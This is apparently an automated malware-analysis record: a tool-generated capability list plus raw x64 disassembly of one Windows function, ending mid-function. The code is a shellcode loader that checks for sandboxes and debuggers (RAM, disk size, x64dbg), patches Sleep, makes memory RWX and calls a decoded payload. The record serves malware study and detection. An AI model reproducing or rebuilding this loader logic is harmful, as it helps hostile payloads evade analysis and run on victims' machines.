Function at 0x140001f30
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Enumerate process modules
Execute shellcode via indirect call
Get memory capacity
Read file via mapping

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x13d8]
mov eax, 0x14d8
call fcn.14001fee0
sub rsp, rax
xor r12d, r12d
mov r14d, r12d
mov dword [rbp + 0x1420], r12d
lea rcx, str.hello_world
call fcn.140001010
call fcn.140001320
test al, al
jne 0x1400034a3
call fcn.140001c40
test al, al
jne 0x1400034a3
mov dword [rbp + 0xc0], 0x40
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
movabs rax, 0x100000000
cmp qword [rbp + 0xc8], rax
jb 0x1400034a3
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r12 + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000206d
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0x1420]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x14000202f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000206d
mov edx, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
mov ebx, dword [rsp + 0x4c]
imul rbx, rcx
imul rbx, rdx
imul rbx, qword [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x50
jb 0x1400034a3
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140002264
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
jne 0x140002264
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x1420]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x1400020bb
cmp dword [rbp + 0x1420], r12d
jne 0x140002264
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140002264
lea rdx, [0x14002a798]
lea rcx, [rbp - 0x50]
call fcn.140007200
nop
mov r14d, 1
mov dword [rbp + 0x1420], r14d
lea r8, [rbp + 0x1428]
mov edx, 0x1000
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x14000219b
mov r15d, dword [rbp + 0x1428]
shr r15d, 2
mov edi, r12d
test r15d, r15d
je 0x14000219b
lea rsi, [rbp + 0x3d0]
nop word [rax + rax]
mov r8d, dword [rsi]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140002190
mov r9d, 0x104
lea r8, [rbp + 0x1c0]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x140002187
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rdx, qword [rbp - 0x50]
lea rcx, [rbp + 0x1c0]
call fcn.14000a9c8
test rax, rax
jne 0x14000225b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add rsi, 4
cmp edi, r15d
jb 0x140002130
lea rdx, str.x64dbg
lea rcx, [rbp - 0x80]
call fcn.140007200
mov r14d, 3
lea r8, [rbp + 0x1420]
mov edx, 0x1000
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x140002257
mov r15d, dword [rbp + 0x1420]
shr r15d, 2
mov edi, r12d
test r15d, r15d
je 0x140002257
lea rsi, [rbp + 0x3d0]
nop dword [rax]
mov r8d, dword [rsi]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000224c
mov r9d, 0x104
lea r8, [rbp + 0x1c0]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x140002243
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0x1c0]
call fcn.14000a9c8
test rax, rax
jne 0x14000225b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add rsi, 4
cmp edi, r15d
jb 0x1400021f0
xor bl, bl
jmp 0x140002266
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
test r14b, 2
je 0x1400022c1
and r14d, 0xfffffffd
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x1400022b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400034c8
call fcn.140008fc8
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r12w
test r14b, 1
je 0x140002307
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x140002307
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002302
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400034ce
call fcn.140008fc8
test bl, bl
jne 0x1400034a3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], rax
mov dword [rbp + 0x1d8], eax
mov word [rbp + 0x1dc], ax
movdqa xmm0, xmmword [0x14002ba30]
movdqu xmmword [rbp + 0x1e0], xmm0
movdqa xmm1, xmmword [0x14002bb70]
movdqu xmmword [rbp + 0x1f0], xmm1
movdqa xmm0, xmmword [0x14002bc70]
movdqu xmmword [rbp + 0x200], xmm0
movdqa xmm1, xmmword [0x14002bc30]
movdqu xmmword [rbp + 0x210], xmm1
movdqa xmm0, xmmword [0x14002bb80]
movdqu xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [0x14002bc60]
movdqu xmmword [rbp + 0x230], xmm1
movdqa xmm0, xmmword [0x14002bc50]
movdqu xmmword [rbp + 0x240], xmm0
mov dword [rbp + 0x250], WSAStartup
lea rcx, [rbp + 0x1c0]
call fcn.140006590
mov rcx, rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], rax
movdqa xmm1, xmmword [0x14002ba80]
movdqu xmmword [rbp + 0x1d8], xmm1
movdqa xmm0, xmmword [0x14002bba0]
movdqu xmmword [rbp + 0x1e8], xmm0
movdqa xmm1, xmmword [0x14002b970]
movdqu xmmword [rbp + 0x1f8], xmm1
movdqa xmm0, xmmword [0x14002bb90]
movdqu xmmword [rbp + 0x208], xmm0
movdqa xmm1, xmmword [0x14002bbb0]
movdqu xmmword [rbp + 0x218], xmm1
mov dword [rbp + 0x228], 0x43
mov dword [rbp + 0x22c], 0x63
mov dword [rbp + 0x230], 0x59
lea rcx, [rbp + 0x1c0]
call fcn.140005f50
mov rdx, rax
mov rcx, rbx
call fcn.140001220
mov qword [rbp + 0x1428], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xd0], al
movdqa xmm1, xmmword [0x14002bc00]
movdqu xmmword [rbp + 0xd4], xmm1
movdqa xmm0, xmmword [0x14002bc20]
movdqu xmmword [rbp + 0xe4], xmm0
movdqa xmm1, xmmword [0x14002bbd0]
movdqu xmmword [rbp + 0xf4], xmm1
movdqa xmm0, xmmword [0x14002b990]
movdqu xmmword [rbp + 0x104], xmm0
lea rcx, [rbp + 0xc0]
call fcn.140005b20
mov rdx, rax
mov rcx, rbx
call fcn.140001220
mov rdi, rax
test rax, rax
je 0x14000349f
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rbx, rax
mov qword [rbp + 0x1420], 0xffffffffd646d900
lea rdx, [rbp + 0x1420]
xor ecx, ecx
call rdi
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, rbx
cmp rax, 0x11170
jb 0x14000349f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
mov byte [rbp + 0x3f0], al
movdqa xmm0, xmmword [0x14002bc40]
movdqu xmmword [rbp + 0x3f4], xmm0
movdqa xmm1, xmmword [0x14002ba00]
movdqu xmmword [rbp + 0x404], xmm1
movdqa xmm0, xmmword [0x14002ba70]
movdqu xmmword [rbp + 0x414], xmm0
movdqa xmm1, xmmword [0x14002b980]
movdqu xmmword [rbp + 0x424], xmm1
movdqa xmm0, xmmword [0x14002bc10]
movdqu xmmword [rbp + 0x434], xmm0
movdqa xmm1, xmmword [0x14002bab0]
movdqu xmmword [rbp + 0x444], xmm1
movdqa xmm0, xmmword [0x14002bb60]
movdqu xmmword [rbp + 0x454], xmm0
movdqa xmm1, xmmword [0x14002bb50]
movdqu xmmword [rbp + 0x464], xmm1
lea rcx, [rbp + 0x3d0]
call fcn.140005260
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140002621
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140007560
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xe0], al
movdqa xmm0, xmmword [0x14002baf0]
movdqu xmmword [rbp + 0xe4], xmm0
movdqa xmm1, xmmword [0x14002b960]
movdqu xmmword [rbp + 0xf4], xmm1
movdqa xmm0, xmmword [0x14002ba40]
movdqu xmmword [rbp + 0x104], xmm0
movdqa xmm1, xmmword [0x14002bb40]
movdqu xmmword [rbp + 0x114], xmm1
movdqa xmm0, xmmword [0x14002bb00]
movdqu xmmword [rbp + 0x124], xmm0
movdqa xmm1, xmmword [0x14002bbc0]
movdqu xmmword [rbp + 0x134], xmm1
movdqa xmm0, xmmword [0x14002b9a0]
movdqu xmmword [rbp + 0x144], xmm0
movdqa xmm1, xmmword [0x14002bb30]
movdqu xmmword [rbp + 0x154], xmm1
lea rcx, [rbp + 0xc0]
call fcn.140004a00
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002700
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140007560
nop
lea rdx, [rbp + 0x190]
lea rcx, [rbp]
call fcn.140001a90
nop
lea rdx, [rbp + 0x170]
lea rcx, [rbp - 0x18]
call fcn.140001a90
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc0], xmm0
mov word [rbp + 0xd0], ax
mov byte [rbp + 0xd2], al
movdqa xmm0, xmmword [0x14002ba20]
movdqu xmmword [rbp + 0xd4], xmm0
movdqa xmm1, xmmword [0x14002ba60]
movdqu xmmword [rbp + 0xe4], xmm1
movdqa xmm0, xmmword [0x14002bc80]
movdqu xmmword [rbp + 0xf4], xmm0
movdqa xmm1, xmmword [0x14002ba90]
movdqu xmmword [rbp + 0x104], xmm1
mov dword [rbp + 0x114], 0x28
mov dword [rbp + 0x118], WSAStartup
lea rcx, [rbp + 0xc0]
call fcn.140004550
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400027d0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140007560
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], rax
mov dword [rbp + 0x3e8], eax
mov byte [rbp + 0x3ec], al
movdqa xmm0, xmmword [0x14002b950]
movdqu xmmword [rbp + 0x3f0], xmm0
movdqa xmm1, xmmword [0x14002b9b0]
movdqu xmmword [rbp + 0x400], xmm1
movdqa xmm0, xmmword [0x14002bb10]
movdqu xmmword [rbp + 0x410], xmm0
movdqa xmm1, xmmword [0x14002b9d0]
movdqu xmmword [rbp + 0x420], xmm1
movdqa xmm0, xmmword [0x14002bac0]
movdqu xmmword [rbp + 0x430], xmm0
movdqa xmm1, xmmword [0x14002b9c0]
movdqu xmmword [rbp + 0x440], xmm1
movdqa xmm0, xmmword [0x14002bad0]
movdqu xmmword [rbp + 0x450], xmm0
lea rcx, [rbp + 0x3d0]
call fcn.140003e00
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400028a0
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.140007560
nop
xor eax, eax
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0xc8], eax
movdqa xmm0, xmmword [0x14002bb20]
movdqu xmmword [rbp + 0xcc], xmm0
movdqa xmm1, xmmword [0x14002baa0]
movdqu xmmword [rbp + 0xdc], xmm1
mov dword [rbp + 0xec], 3
mov dword [rbp + 0xf0], 0x5f
mov dword [rbp + 0xf4], 0x7b
lea rcx, [rbp + 0xc0]
call fcn.140003b00
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140002930
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.140007560
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
mov dword [rbp + 0x3e0], eax
mov word [rbp + 0x3e4], ax
movdqa xmm0, xmmword [0x14002b940]
movdqu xmmword [rbp + 0x3e8], xmm0
movdqa xmm1, xmmword [0x14002bbe0]
movdqu xmmword [rbp + 0x3f8], xmm1
movdqa xmm0, xmmword [0x14002ba10]
movdqu xmmword [rbp + 0x408], xmm0
movdqa xmm1, xmmword [0x14002b9e0]
movdqu xmmword [rbp + 0x418], xmm1
movdqa xmm0, xmmword [0x14002bbf0]
movdqu xmmword [rbp + 0x428], xmm0
mov dword [rbp + 0x438], sendto
lea rcx, [rbp + 0x3d0]
call fcn.140003580
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400029e0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.140007560
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rsi, qword [rbp - 0x70]
sub rax, rsi
mov r15, qword [rbp + 0xb0]
cmp rax, r15
jb 0x1400034d4
lea r12, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r12, qword [rbp - 0x80]
lea r13, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova r13, qword [rbp + 0xa0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea r14, [r15 + rsi]
mov ebx, recvfrom
lea rdi, [rsp + 0x60]
cmp r14, rbx
jbe 0x140002ae0
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140002aa2
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140008f8c
test rax, rax
je 0x1400034da
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002adb
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002aca
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400034c2
jmp 0x140002a83
test rcx, rcx
je 0x140002ad9
call fcn.140008f8c
mov rdi, rax
jmp 0x140002adb
xor edi, edi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rbx
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call fcn.1400205f0
lea rcx, [rdi + rsi]
mov r8, r15
mov rdx, r13
call fcn.1400205f0
mov byte [r14 + rdi], 0
lea r9, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova r9, qword [rbp + 0x80]
mov rsi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
sub rax, rsi
mov rdi, qword [rbp + 0x90]
cmp rdi, rax
ja 0x140002b75
lea rax, [rsi + rdi]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x60]
lea rcx, [rbx + rsi]
mov r8, rdi
mov rdx, r9
call fcn.1400205f0
lea rax, [rbx + rsi]
mov byte [rax + rdi], 0
lea rax, [rsp + 0x60]
jmp 0x140002b87
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.1400073d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
xor r13d, r13d
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recvfrom
mov byte [rax], r13b
lea r9, [rbp + 0x60]
mov r12, qword [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r9, r12
mov rsi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
sub rax, rsi
mov rdi, qword [rbp + 0x70]
cmp rdi, rax
ja 0x140002c1b
lea rax, [rsi + rdi]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x40]
lea rcx, [rbx + rsi]
mov r8, rdi
mov rdx, r9
call fcn.1400205f0
lea rax, [rbx + rsi]
mov byte [rax + rdi], r13b
lea rax, [rsp + 0x40]
jmp 0x140002c31
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.1400073d0
mov r12, qword [rbp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recvfrom
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002c9b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400034e0
call fcn.140008fc8
movdqa xmm0, xmmword [0x14002b930]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140002ceb
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ce6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400034e6
call fcn.140008fc8
movdqa xmm0, xmmword [0x14002b930]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xc0]
call fcn.1400018d0
nop
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x30]
call fcn.140001a90
nop
mov dword [rbp + 0x1420], 4
mov dword [rbp + 0x1424], 0xa
lea rax, [rbp + 0x18]
mov qword [rbp + 0x1b0], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r13
mov rbx, qword [rbp - 0x10]
sub rbx, qword [rbp - 0x18]
movabs rsi, 0x7fffffffffffffff
je 0x140002dd3
cmp rbx, rsi
ja 0x1400034ec
cmp rbx, 0x1000
jb 0x140002d9a
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x1400034f2
call fcn.140008f8c
test rax, rax
je 0x1400034f8
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002da5
mov rcx, rbx
call fcn.140008f8c
mov rdi, rax
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], rdi
lea rcx, [rdi + rbx]
mov qword [rbp + 0x28], rcx
mov rbx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x18]
sub rbx, rdx
mov r8, rbx
mov rcx, rdi
call fcn.1400205f0
lea rax, [rdi + rbx]
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x30]
mov qword [rbp + 0x1b8], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r13
mov rbx, qword [rbp + 8]
sub rbx, qword [rbp]
je 0x140002e68
cmp rbx, rsi
ja 0x1400034fe
cmp rbx, 0x1000
jb 0x140002e2f
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140003504
call fcn.140008f8c
test rax, rax
je 0x14000350a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002e3a
mov rcx, rbx
call fcn.140008f8c
mov rdi, rax
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rdi
lea rcx, [rbx + rdi]
mov qword [rbp + 0x40], rcx
mov rbx, qword [rbp + 8]
mov rdx, qword [rbp]
sub rbx, rdx
mov r8, rbx
mov rcx, rdi
call fcn.1400205f0
lea rax, [rbx + rdi]
mov qword [rbp + 0x38], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r13
mov rbx, qword [rbp - 0x28]
sub rbx, qword [rbp - 0x30]
je 0x140002ef2
cmp rbx, rsi
ja 0x140003510
cmp rbx, 0x1000
jb 0x140002eb9
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140003516
call fcn.140008f8c
test rax, rax
je 0x14000351c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002ec4
mov rcx, rbx
call fcn.140008f8c
mov rdi, rax
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x50], rdi
lea rcx, [rdi + rbx]
mov qword [rbp + 0x58], rcx
mov rbx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x30]
sub rbx, rdx
mov r8, rbx
mov rcx, rdi
call fcn.1400205f0
lea rax, [rbx + rdi]
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x30]
lea r8, [rbp + 0x48]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1420]
call fcn.140008620
nop
mov rdi, qword [rsp + 0x68]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov rsi, r13
mov qword [rsp + 0x50], r13
movzx eax, byte [rdi - 1]
sub rdi, rax
mov r14, qword [rsp + 0x60]
sub rdi, r14
mov r15, r13
mov rbx, r13
je 0x140002fbb
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140003522
cmp rdi, 0x1000
jb 0x140002f87
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x140003528
call fcn.140008f8c
test rax, rax
je 0x140003534
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140002f92
mov rcx, rdi
call fcn.140008f8c
mov rbx, rax
mov r13, rbx
mov qword [rsp + 0x40], rbx
lea rsi, [rbx + rdi]
mov r15, rsi
mov qword [rsp + 0x50], rsi
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call fcn.1400205f0
mov qword [rsp + 0x48], rsi
jmp 0x140002fc0
mov r13, qword [rsp + 0x40]
xor edi, edi
mov qword [rbp + 0x1430], rdi
sub r15, rbx
mov qword [rbp + 0x1438], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x1438]
xor r8d, r8d
lea rdx, [rbp + 0x1430]
call qword [rbp + 0x1428]
test eax, eax
js 0x14000314c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [0x140031dd0], rax
mov word [rbp - 0x60], 0xba49
mov word [rbp - 0x56], 0xff41
lea rax, [0x140001540]
mov qword [rbp - 0x5e], rax
mov dword [rbp + 0x1420], edi
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [rax]
movups xmmword [0x140031dd8], xmm0
lea r9, [rbp + 0x1420]
lea edx, [rdi + 0xd]
lea r8d, [rdi + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000307c
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
movsd xmm0, qword [rbp - 0x60]
movsd qword [rcx], xmm0
mov eax, dword [rbp - 0x58]
mov dword [rcx + 8], eax
mov byte [rcx + 0xc], 0xe2
mov rbx, qword [0x140031e50]
test rbx, rbx
jne 0x1400030af
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [0x140031e50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r8d, recvfrom
mov rdx, qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
lea r9, [rbp + 0x1420]
mov r8d, dword [rbp + 0x1420]
mov edx, recvfrom
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
mov rdx, r13
mov rcx, qword [rbp + 0x1430]
call fcn.1400205f0
lea r9, [rbp + 0x1428]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1438]
mov rcx, qword [rbp + 0x1430]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x140031e20], edi
mov qword [0x140031e30], rdi
lea rax, [rbp - 0x60]
mov qword [0x140031e28], rax
mov rax, qword [rbp + 0x1430]
mov qword [0x140031e38], rax
mov dword [0x140031e40], r15d
call rax
mov rbx, r13
test rbx, rbx
je 0x140003185
sub rsi, rbx
cmp rsi, 0x1000
jb 0x140003179
add rsi, 0x27
mov rcx, qword [rbx - 8]
sub rbx, rcx
lea rax, [rbx - 8]
cmp rax, 0x1f
ja 0x140003534
mov rbx, rcx
mov rdx, rsi
mov rcx, rbx
call fcn.140008fc8
nop
test r14, r14
je 0x1400031c0
mov rdx, qword [rsp + 0x70]
sub rdx, r14
mov rax, r14
cmp rdx, 0x1000
jb 0x1400031b7
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000352e
mov rcx, r14
call fcn.140008fc8
nop
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x140003206
mov rdx, qword [rbp - 0x20]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000353a
call fcn.140008fc8
mov qword [rbp - 0x30], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140003248
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003242
add rdx, 0x27
